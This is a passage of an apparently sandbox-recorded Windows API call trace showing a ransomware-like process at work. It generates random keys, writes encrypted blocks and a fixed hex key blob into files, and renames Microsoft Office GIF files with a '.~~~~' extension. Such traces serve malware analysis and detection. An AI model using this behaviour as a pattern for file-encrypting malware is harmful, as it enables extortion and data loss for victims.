	[0127.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7450 | out: hHeap=0x300000) returned 1
	[0127.616] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.628] GetLastError () returned 0x0
	[0127.628] GetLastError () returned 0x0
	[0127.628] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.628] GetLastError () returned 0x0
	[0127.628] GetLastError () returned 0x0
	[0127.630] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.630] WriteFile (in: hFile=0x144, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0xb2, lpOverlapped=0x0) returned 1
	[0127.632] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0127.632] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.632] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.633] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.633] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.633] CloseHandle (hObject=0x144) returned 1
	[0127.695] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0127.695] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif.~~~~")) returned 1
	[0127.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0127.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.815] GetLastError () returned 0x0
	[0127.819] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.820] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.820] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.821] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24781077533) returned 1
	[0127.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5a48490, dwHighDateTime=0x1d60e1e)) 
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c48
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c48 | out: hHeap=0x300000) returned 1
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e6e68
	[0127.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0127.822] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.822] GetLastError () returned 0x0
	[0127.822] GetLastError () returned 0x0
	[0127.822] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.822] GetLastError () returned 0x0
	[0127.822] GetLastError () returned 0x0
	[0127.824] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.824] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x61, lpOverlapped=0x0) returned 1
	[0127.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.827] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.827] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.827] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.827] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.827] CloseHandle (hObject=0x144) returned 1
	[0127.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0127.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif.~~~~")) returned 1
	[0127.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0127.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.830] GetLastError () returned 0x0
	[0127.830] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.832] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.832] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.832] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.832] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24782216731) returned 1
	[0127.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5a48490, dwHighDateTime=0x1d60e1e)) 
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6358
	[0127.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6358 | out: hHeap=0x300000) returned 1
	[0127.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7300
	[0127.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0127.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0127.833] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.833] GetLastError () returned 0x0
	[0127.834] GetLastError () returned 0x0
	[0127.834] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.834] GetLastError () returned 0x0
	[0127.834] GetLastError () returned 0x0
	[0127.836] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffff86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.836] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x7a, lpOverlapped=0x0) returned 1
	[0127.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.838] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.838] WriteFile (in: hFile=0x144, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.838] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.838] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.838] CloseHandle (hObject=0x144) returned 1
	[0127.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7300
	[0127.838] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif.~~~~")) returned 1
	[0127.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7300 | out: hHeap=0x300000) returned 1
	[0127.841] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.841] GetLastError () returned 0x0
	[0127.849] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.850] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.851] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.851] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24784104864) returned 1
	[0127.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5a94750, dwHighDateTime=0x1d60e1e)) 
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a47f08
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a47f08 | out: hHeap=0x300000) returned 1
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.851] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7a38
	[0127.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.852] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0127.852] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0127.852] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.852] GetLastError () returned 0x0
	[0127.852] GetLastError () returned 0x0
	[0127.852] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.852] GetLastError () returned 0x0
	[0127.852] GetLastError () returned 0x0
	[0127.855] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.855] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xda, lpOverlapped=0x0) returned 1
	[0127.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.858] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.859] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.859] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.859] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.859] CloseHandle (hObject=0x140) returned 1
	[0127.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7a38
	[0127.860] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif.~~~~")) returned 1
	[0127.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7a38 | out: hHeap=0x300000) returned 1
	[0127.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.861] GetLastError () returned 0x0
	[0127.862] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.863] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.863] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.863] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.863] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.863] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24785346819) returned 1
	[0127.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5a94750, dwHighDateTime=0x1d60e1e)) 
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a63c8
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a63c8 | out: hHeap=0x300000) returned 1
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7e28
	[0127.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.864] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0127.864] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7e28 | out: hHeap=0x300000) returned 1
	[0127.864] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0127.864] GetLastError () returned 0x0
	[0127.865] GetLastError () returned 0x0
	[0127.865] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0127.865] GetLastError () returned 0x0
	[0127.865] GetLastError () returned 0x0
	[0127.867] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff26, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.867] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xda, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xda, lpOverlapped=0x0) returned 1
	[0127.869] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.869] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.869] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.869] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.869] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.870] CloseHandle (hObject=0x140) returned 1
	[0127.870] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7e28
	[0127.870] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif.~~~~")) returned 1
	[0127.871] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7e28 | out: hHeap=0x300000) returned 1
	[0127.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.872] GetLastError () returned 0x0
	[0127.872] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0127.873] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0127.873] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.874] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24786379683) returned 1
	[0127.874] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb5aba8b0, dwHighDateTime=0x1d60e1e)) 
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6400
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6400 | out: hHeap=0x300000) returned 1
	[0127.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
